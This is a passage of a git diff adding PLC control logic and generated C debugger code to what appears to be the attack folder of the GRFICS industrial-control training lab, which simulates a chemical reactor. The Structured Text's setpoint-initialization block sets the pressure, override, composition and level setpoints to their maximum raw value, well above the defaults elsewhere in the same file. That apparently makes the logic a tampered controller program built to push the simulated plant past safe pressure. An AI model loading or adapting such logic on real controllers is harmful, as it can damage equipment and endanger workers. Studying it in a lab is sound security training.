25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, 